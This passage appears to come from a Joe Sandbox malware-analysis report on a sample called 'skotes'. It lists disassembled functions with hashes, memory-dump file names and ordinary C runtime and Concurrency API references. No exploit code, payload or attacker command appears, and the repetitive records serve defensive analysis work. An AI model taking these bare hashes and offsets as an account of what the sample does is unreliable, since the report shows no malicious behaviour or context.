Opcode Fuzzy Hash: d603f5e904fa3ce1540025e0a75000b0d5bb5a7eaea30d5ce81e0df80c31979b
Instruction Fuzzy Hash: B2313A75A00309DFCF20EF98C484BAE7FBABB54310F1404ABD9459B346D730A945DBA1

Function 005E13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 005E13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 005E1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 005E147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 005E152A

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 49e4cf3c2f7c14dc8fed687a3d732e67730c83bcda3ef12d4bcdb4b12f48eb09
Instruction ID: 097928729abcc07e2093c86f9b159a43a71b42b5e0a1ca3487e4ab1c876a0b92
Opcode Fuzzy Hash: 49e4cf3c2f7c14dc8fed687a3d732e67730c83bcda3ef12d4bcdb4b12f48eb09
Instruction Fuzzy Hash: 89318771A00A069FCF18EFA9C4959EDFFB1BF88710B14422EE456A7381CB34A941CF94

Function 005CBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 005CBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 005CBBE4
_xtime_get.LIBCPMT ref: 005CBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 005CBC13

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 296dc0008e529b044a2a2b60b60bd6bd57648146f59acb127cd7792b009f2c3c
Instruction ID: 403663dee75bf80e8a66b2630d4849457c40e21e42bf6dff2200d9e5a5163ba7
Opcode Fuzzy Hash: 296dc0008e529b044a2a2b60b60bd6bd57648146f59acb127cd7792b009f2c3c
Instruction Fuzzy Hash: 78212C71A0010AAFDF00EBA4C986EBEBFB9FF48710F100459F505A7251DB209D419BA1

Function 005D9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 005D9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 005D9CE8
std::bad_exception::bad_exception.LIBCMT ref: 005D9CFE
std::bad_exception::bad_exception.LIBCMT ref: 005D9D6A

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 6674eef8ff516c5583ddf9184a37e25c98fd607180873e68fd72490b456fdc25
Instruction ID: 50f7d91f4a61b4d5c3bd533501c7db82d4d6f8efd033f8bd23f485daa3068794
Opcode Fuzzy Hash: 6674eef8ff516c5583ddf9184a37e25c98fd607180873e68fd72490b456fdc25
Instruction Fuzzy Hash: D02195759001099FDB14FF68D48AD9EBFB5BF45310B10406BF102AB3A1EB716D01CB91

Function 005DA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 005DA069

Part of subcall function 005DB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 005DB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 005DA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 005DA0CB

Part of subcall function 005DAB41: List.LIBCONCRT ref: 005DAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 005DA0DB

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: b6865830cfc0de0f8d7491ba96c924236169e384b9bb6e9e64b50def92d2d8cf
Instruction ID: 70716e4ad9ed101c71bd8c6afd659eacce3b183e806557ed8efe8749c38d6d17
Opcode Fuzzy Hash: b6865830cfc0de0f8d7491ba96c924236169e384b9bb6e9e64b50def92d2d8cf
Instruction Fuzzy Hash: AA219A31500A159FDB34EF69D8909ABB7F5FF88300700495FE442A7B91DB34E901CBA2

Function 005D4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 005D4893
ListArray.LIBCONCRT ref: 005D48A5

Part of subcall function 005D5555: _InternalDeleteHelper.LIBCONCRT ref: 005D5564

ListArray.LIBCONCRT ref: 005D48AF
_InternalDeleteHelper.LIBCONCRT ref: 005D48C8

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
